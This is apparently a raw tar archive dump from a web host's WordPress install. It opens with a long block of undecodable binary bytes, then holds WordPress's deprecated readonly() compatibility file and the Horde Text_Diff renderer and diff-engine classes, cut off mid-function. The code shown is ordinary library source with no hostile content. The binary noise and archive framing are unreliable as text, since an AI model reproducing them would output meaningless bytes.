q�T��}�i�Blт�<Z�P��Ƕ�eDH&1�JvY%~RM�oT3�����ʢcDF�q�\�q��[)��$�T��_5�8'^�wN׼�h�)��<�u��	v�vnX�b��J�-�H���ކ4��{ks���z�����?�d#��9}�S��p�ǁ���'9<�b�m�{�>�z�]J0���q��Ӎ��Ҳ%E��V3)>Y�9e�i0��y���� j�	�F�y��$D�[�t:�#�a����7�����@�F\�+��m�p/a��Q鹤��{ ����d�_�Yʉ�w�#��k?��̞_S�)(X�9@���=�b�P�Jt��g�uә����;�L���|��D��{&e�&�6Kk�%�V"͞ ͆"�#M�ލH�g����M��u���M��]��
���6����3��v�:1K�r2�Y�r�RU߻�X{�N�{�9~��mW��+�>uy�s��q�K�j�9I��R�	:9wr��!u�����]	�ܕ���q�Jk��9j�]p2
�[���0�ú�-�~�}�^���/�	ҫ؟*U�S�ϡ�mJ�#z�L:�e�^߳| ���E��!d��=*��Ң��o�G�+�n��y�s}�v��$���I�6`�]�E���K�o�9c`ˑXD�i�"�UL��<�M��%Ó�Ҭ=O��bȓ��n��#��yRH���H���S���o)�Y<���K�ւ�#��%e���?�5���[�����Ȉ���8�i����y��_]��ԡ���u+xW��UV_	n�~E�s�q���9��{�郕�d�D���7ܰ���R1�+B
���7O)���Sh��,x;��yq<���}yD?�VA��M�F�6�z��6��e�yY�: ����Z������r��16�lQ"_W�T
@o�f�9i�=�{ �'ݎ]⊬���e.�(�K�W���8.��1�?�� ���w^S�5�=G
��x
��{���^�%��y�ќ���x\����0ҪB��AӞ0�h�!��xy���|)�8��kn��H(�boʃ�4��Y3�+��#<��V׉ޫ��Tq�v$Ζ%�~�+{��xt�e�Ǔ9�l
��
r�(zv�Z7z���?Ծ䩸����UFc�C<��΂O�	���К=�c�e�:�07�q4�5�%T���?x����[^[��׳Y��'Bb'�O�H��f��b�؏�O]��Q^Pշ����A��J5J븛-�f��MB�Y���O��Y���`�I��>_&޳�������uԥ�>r�:e.�^ʙ�"d�7x���\%��%��ߪeB�
����%��A�
%�2�LFP��(������O%Rd�V�3�Nj�odQ#{�>����f�	��l���/0���7�FG�E��2I��0@'lb	�bƉ8f��m� ���t�E��m�'^]����czj�XNy$=эuH��;�>�e�~�O�>��ڴ���І��,ً�aB�a�i�@�o0ãC����E<C9��s�l�ڡmMj,�O�•���M@d�;��T��;R��M��u������7x̐�).��D;��Jg����EJ�H��4���E�����ӦG~2b:[��H�1 �Y�.��Rm�y'�e3K�(�'t�+�D�������Hc$x	N�|9�5��E6<�=��l�8�ߋ,�x�aƕʈJ�c�s4B��됧�f�y�at;Є� ���t�6�P=�h�Gm�$N�-Q1�p�	Uc
�9QcwJ�$�S\�N<�ۗg�����08P�#�G�umC[��k*��u:�~M��t���xA_�Z��5�$���JpYM\.>�D�4/�Γ���N~�`1�ĀDG��I��Gw�H0a�`H�e%ř�e)�D_�v���P+G+�@�;�A|✖�It���V��onTt�O�oTa��*�Z�|��)�T:s��p�cy#�N*F~)����ʻ�Li��sJ��ftI+�_��v��������i��Ǻ|�ː'����H�~�H����h	*nE%iu�:����nV�N�/�B��'�
�"m�\=�`��s��rH@V5A$F����A/4%rY\G�bOٽ��I@�d�`n5D�o��\�m����-`ճ{�{+	T��#Z�{��x���B�ND���\Đ���"����Y�ORx`��~��R�\D���e՜���</�’��$T�[��wS��� �s?���^����X��cv/H;�+(��4��1�k7��?�ۋ����(=�ˤ�yy�Ѓ��!vN�Z��p�jN��gw��O�VsLe�YD	��}-S��t��Ԣ���c��)�B�R ?��1.3�J��C%��?�l*�D����.����(��ϥ�‚ҿ�A~�WM�v�#�{���k�Jqw3��ԧ;L�B=�jZ.��m�[��hxO�3.�!��C0G��޴L_�q�vmMZ��hK��T��Ww1:��bf)�}����5d� ��o'6���c��㼴\6��F&Z����S�����ͷ�K���	�r��
���i`�۞� ��nc�����ťȪ6�&��sN6�D��a�r(�u%M�p�$.H���@>uE�*����׷��*dJl�+��*��*{���V�/�cr_�_+�A���
�g��t�As�V���!MU$�<a�5�#v?���姦�������G�ـ'�%�/�4�R���P^�$J�X�>�B������OvQ\VO��)+,�!�y�%�e5��j�pN�ެ]J����r7�����e����=β��R,���d~Sq
]]�uV�nh�8��)M]�T��<�`�!LϚ€�|*�c��s0nØl�t��6�w�s�[�jū���9G5�1�e�r�Y�C��U9�=¢��:���f0=��9VU��r"3���6$��	�aqQ楗jG��Zበ%��J�PA�]�U��}�y,��W�(��,����+Ģ—�,����P�W^
�D$6�x�\�>:����@$���T�$B�Z��8y��Xe�������T���!>Pk^RMҳp*���e攔��rr*��l}��A��5��rHL8�n�V���_P^��1�z
_���o�֟�t������� b�[�6P3%k����$���MHťq�N��1�9����>���I��?ͦ���*.:��U��p�s���`��{�?�y�v��R
�\Ɇ䡣Rl��JS6�8�����@�]d ��Pꁼj��pċ4�l�pR��
l�GxB�lDZĠ��n��&�,nͥ�u���U�6T�Ј�3x��l�2���9�<ߖ���#�=b�(HU��ba��Ϙ2�nF��-#��$�vT��/�a��@���Y���`��L�'�o�~e5��`��埙�*@�l<�"�n	���t|%jƉ�
9��.q[{�o��E��j�kKOw�Mky����}�7Ѿ���z�������t�h�Ks	_�F��o�;	��5y%0e?�{����A1@۽zi�΁��H
%
W�9��(���`���Rݚ�{�����tUb�\C�#B?pK*��z&����,��i�`g�CZ��]���Ê�.���KE��I���C�t<\�!�e�g��Z<�c	:s���P��p��<�@41���2����ɳh��i<BF�9�8����#�LR��Q���o�/����gJ"��/޼�eL��\�:|����n�P�h=lm4��/����Q*#��,�PF�i���������ш`����Vr�u�4�L�]A�w4L�9F�ZDz��6�z*!�b�;��|����$�UP]͋ߛO)[Q��N��"��zɤv��C��/إ���0|s�Ny��Db���b�W>���/����b��)k��&�����W��R�7>������z�m u��e���N:a-Q�J,��nQ��KS�E���*�db�����Id	k����t5��fgk[XGCJZ�Щ�l��g\���Ѿ����� i
�ѤO�g��?j��χv�~�7�4�?�.��x1oH@R�D`�y��9���!�l:��#��&��?�`�WY
�$��(�B5+��+���,'�W��W�T�6�� %K��>ɈT>��D˄"\�cYa�41�5���Nj�<�[oUp�u�q�B��st�A���\~�Æ^��1D8Oe�b>�r��64
BGaw�
^��}y�n���w��?�{��n�6��k"����37%�C�S.>��<_L�w�z�[���w�I�����g��?F;T���lb�]d�i�T�.���Pd�Q�p�<�0�����\"�Ӳ%B
��P�֍t�l�7�"���`Ҳ:X��4��0
���S�D]�ͼ�m=K�C��F�w"9S�����=��Gڕ#��|�|�|�|�|����
�14338/readonly.php.tar000064400000006000151024420100010322 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/php-compat/readonly.php000064400000002345151024326710025757 0ustar00<?php
/**
 * Conditionally declares a `readonly()` function, which was renamed
 * to `wp_readonly()` in WordPress 5.9.0.
 *
 * In order to avoid PHP parser errors, this function was extracted
 * to this separate file and is only included conditionally on PHP < 8.1.
 *
 * Including this file on PHP >= 8.1 results in a fatal error.
 *
 * @package WordPress
 * @since 5.9.0
 */

/**
 * Outputs the HTML readonly attribute.
 *
 * Compares the first two arguments and if identical marks as readonly.
 *
 * This function is deprecated, and cannot be used on PHP >= 8.1.
 *
 * @since 4.9.0
 * @deprecated 5.9.0 Use wp_readonly() introduced in 5.9.0.
 *
 * @see wp_readonly()
 *
 * @param mixed $readonly_value One of the values to compare.
 * @param mixed $current        Optional. The other value to compare if not just true.
 *                              Default true.
 * @param bool  $display        Optional. Whether to echo or just return the string.
 *                              Default true.
 * @return string HTML attribute or empty string.
 */
function readonly( $readonly_value, $current = true, $display = true ) {
	_deprecated_function( __FUNCTION__, '5.9.0', 'wp_readonly()' );
	return wp_readonly( $readonly_value, $current, $display );
}
14338/Diff.tar000064400000142000151024420100006570 0ustar00Renderer.php000064400000015226151024216510007026 0ustar00<?php
/**
 * A class to render Diffs in different formats.
 *
 * This class renders the diff in classic diff format. It is intended that
 * this class be customized via inheritance, to obtain fancier outputs.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @package Text_Diff
 */
class Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_leading_context_lines = 0;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * This should be left at zero for this class, but subclasses may want to
     * set this to other values.
     */
    var $_trailing_context_lines = 0;

    /**
     * Constructor.
     */
    function __construct( $params = array() )
    {
        foreach ($params as $param => $value) {
            $v = '_' . $param;
            if (isset($this->$v)) {
                $this->$v = $value;
            }
        }
    }

	/**
	 * PHP4 constructor.
	 */
	public function Text_Diff_Renderer( $params = array() ) {
		self::__construct( $params );
	}

    /**
     * Get any renderer parameters.
     *
     * @return array  All parameters of this renderer object.
     */
    function getParams()
    {
        $params = array();
        foreach (get_object_vars($this) as $k => $v) {
            if ($k[0] == '_') {
                $params[substr($k, 1)] = $v;
            }
        }

        return $params;
    }

    /**
     * Renders a diff.
     *
     * @param Text_Diff $diff  A Text_Diff object.
     *
     * @return string  The formatted output.
     */
    function render($diff)
    {
        $xi = $yi = 1;
        $block = false;
        $context = array();

        $nlead = $this->_leading_context_lines;
        $ntrail = $this->_trailing_context_lines;

        $output = $this->_startDiff();

        $diffs = $diff->getDiff();
        foreach ($diffs as $i => $edit) {
            /* If these are unchanged (copied) lines, and we want to keep
             * leading or trailing context lines, extract them from the copy
             * block. */
            if (is_a($edit, 'Text_Diff_Op_copy')) {
                /* Do we have any diff blocks yet? */
                if (is_array($block)) {
                    /* How many lines to keep as context from the copy
                     * block. */
                    $keep = $i == count($diffs) - 1 ? $ntrail : $nlead + $ntrail;
                    if (count($edit->orig) <= $keep) {
                        /* We have less lines in the block than we want for
                         * context => keep the whole block. */
                        $block[] = $edit;
                    } else {
                        if ($ntrail) {
                            /* Create a new block with as many lines as we need
                             * for the trailing context. */
                            $context = array_slice($edit->orig, 0, $ntrail);
                            $block[] = new Text_Diff_Op_copy($context);
                        }
                        /* @todo */
                        $output .= $this->_block($x0, $ntrail + $xi - $x0,
                                                 $y0, $ntrail + $yi - $y0,
                                                 $block);
                        $block = false;
                    }
                }
                /* Keep the copy block as the context for the next block. */
                $context = $edit->orig;
            } else {
                /* Don't we have any diff blocks yet? */
                if (!is_array($block)) {
                    /* Extract context lines from the preceding copy block. */
                    $context = array_slice($context, count($context) - $nlead);
                    $x0 = $xi - count($context);
                    $y0 = $yi - count($context);
                    $block = array();
                    if ($context) {
                        $block[] = new Text_Diff_Op_copy($context);
                    }
                }
                $block[] = $edit;
            }

            if ($edit->orig) {
                $xi += count($edit->orig);
            }
            if ($edit->final) {
                $yi += count($edit->final);
            }
        }

        if (is_array($block)) {
            $output .= $this->_block($x0, $xi - $x0,
                                     $y0, $yi - $y0,
                                     $block);
        }

        return $output . $this->_endDiff();
    }

    function _block($xbeg, $xlen, $ybeg, $ylen, &$edits)
    {
        $output = $this->_startBlock($this->_blockHeader($xbeg, $xlen, $ybeg, $ylen));

        foreach ($edits as $edit) {
            switch (strtolower(get_class($edit))) {
            case 'text_diff_op_copy':
                $output .= $this->_context($edit->orig);
                break;

            case 'text_diff_op_add':
                $output .= $this->_added($edit->final);
                break;

            case 'text_diff_op_delete':
                $output .= $this->_deleted($edit->orig);
                break;

            case 'text_diff_op_change':
                $output .= $this->_changed($edit->orig, $edit->final);
                break;
            }
        }

        return $output . $this->_endBlock();
    }

    function _startDiff()
    {
        return '';
    }

    function _endDiff()
    {
        return '';
    }

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        if ($xlen > 1) {
            $xbeg .= ',' . ($xbeg + $xlen - 1);
        }
        if ($ylen > 1) {
            $ybeg .= ',' . ($ybeg + $ylen - 1);
        }

        // this matches the GNU Diff behaviour
        if ($xlen && !$ylen) {
            $ybeg--;
        } elseif (!$xlen) {
            $xbeg--;
        }

        return $xbeg . ($xlen ? ($ylen ? 'c' : 'd') : 'a') . $ybeg;
    }

    function _startBlock($header)
    {
        return $header . "\n";
    }

    function _endBlock()
    {
        return '';
    }

    function _lines($lines, $prefix = ' ')
    {
        return $prefix . implode("\n$prefix", $lines) . "\n";
    }

    function _context($lines)
    {
        return $this->_lines($lines, '  ');
    }

    function _added($lines)
    {
        return $this->_lines($lines, '> ');
    }

    function _deleted($lines)
    {
        return $this->_lines($lines, '< ');
    }

    function _changed($orig, $final)
    {
        return $this->_deleted($orig) . "---\n" . $this->_added($final);
    }

}
Renderer/inline.php000064400000012630151024216510010300 0ustar00<?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
Engine/string.php000064400000020233151024216510007765 0ustar00<?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
Engine/xdiff.php000064400000004233151024216510007561 0ustar00<?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
Engine/native.php000064400000037261151024216510007756 0ustar00<?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
